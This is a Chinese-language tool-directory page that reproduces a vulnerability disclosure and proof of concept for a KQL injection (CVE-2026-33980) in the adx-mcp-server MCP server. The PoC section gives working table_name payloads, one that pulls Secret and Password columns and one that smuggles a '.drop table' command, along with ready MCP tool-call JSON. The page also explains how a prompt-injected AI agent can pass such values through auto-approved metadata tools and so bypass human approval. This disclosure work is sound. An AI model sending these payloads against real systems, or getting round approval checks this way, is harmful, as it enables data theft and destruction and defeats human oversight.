Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33980 — 针对 adx-mcp-server 中通过 table_name 参数进行 KQL 注入的概念验证漏洞利用,可在 Azure Data Explorer 中实现数据窃取和破坏性命令执行。 | Kitploit
工具/GitHubGitHub/romain-deperne/cve-2026-33980
漏洞分析代码分析漏洞利用Web应用程序漏洞利用云安全数据库安全
GitHubromain-deperne/cve-2026-33980

CVE-2026-33980

针对 adx-mcp-server 中通过 table_name 参数进行 KQL 注入的概念验证漏洞利用,可在 Azure Data Explorer 中实现数据窃取和破坏性命令执行。

查看仓库
371个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33980 — 通过 table_name 参数在 adx-mcp-server 中引发的 KQL 注入

严重程度:高(CVSS 8.3) CWE:CWE-943 — 数据查询逻辑中特殊元素的不当中和 受影响版本:adx-mcp-server <= 1.1.0 安全公告:GHSA-vphc-468g-8rfp NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-33980 致谢:Romain Deperne

简要说明

adx-mcp-server 中的三个 MCP 工具通过 f-string 将 table_name 参数直接插入到 KQL(Kusto 查询语言)查询中。攻击者或被提示注入的 AI 代理可以读取 Azure Data Explorer 集群中的任意表、执行管理命令(.drop table),或运行任意分析查询——从而绕过“安全”元数据工具与原始 execute_query 工具之间的信任边界。

分析

我当时正在浏览 awesome-mcp-servers 列表,专门寻找封装云数据平台的 MCP 服务器——这些服务器风险很高,因为它们被设计为让 AI 代理直接访问数据库,而 MCP 工具参数完全由攻击者控制(任何处理不可信数据的 LLM 都可能被提示注入,从而传递恶意的工具参数)。

审查 MCP 工具参数如何到达 Azure Data Explorer 查询时,发现 server.py 中有三处直接插值:f"{table_name} | getschema"、f"{table_name} | sample {sample_size}" 和 f".show table {table_name} details"。

有趣的部分是信任边界绕过:该服务器同时暴露了原始 execute_query 工具(MCP 客户端可能要求人工批准)和这些“安全”的元数据检查工具(它们会被自动批准)。通过元数据工具进行注入,可以绕过客户端执行的任何批准策略。这就是为什么它从“注入漏洞”升级为真正的安全边界违规。

KQL 注释语法(//)可以让载荷抑制原始查询的剩余部分。

受影响组件

文件:src/adx_mcp_server/server.py

# Line 228 — get_table_schema
query = f"{table_name} | getschema"

# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"

# Line 268 — get_table_details
query = f".show table {table_name} details"

这三处都将 MCP 工具参数中的 table_name 直接传入 client.execute(config.database, query),且没有任何校验。

根本原因

KQL 允许使用 | 管道连接查询运算符,并执行以 . 为前缀的管理命令。// 字符用于开始行注释。因此,直接使用 f-string 插值会导致查询注入:

  • f"{table_name} | getschema" → 追加 | project Secret // 以注释掉 | getschema
  • f".show table {table_name} details" → 注入 \n.drop table 以串联管理命令

为什么这比单纯的 execute_query 工具更严重:MCP 客户端通常区分“安全”的只读工具(自动批准)和原始执行工具(需要确认)。该注入针对的是“安全”的元数据工具,从而绕过了审批边界。

PoC

完整演示见 poc.py。核心载荷:

# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"

# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"

MCP 工具调用:

{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}

影响

  1. 数据外泄 — 读取 Azure Data Explorer 数据库中的任意表
  2. 数据破坏 — 诸如 .drop table、.drop extents 之类的管理命令
  3. 提示注入放大 — 处理 ADX 中攻击者控制数据的 AI 代理可能被操纵,传入恶意的 table_name 值,从而将提示注入转化为完整的数据访问

时间线

  • 报告时间:GHSA 私密公告
  • CVE 发布时间:CVE-2026-33980
下载工具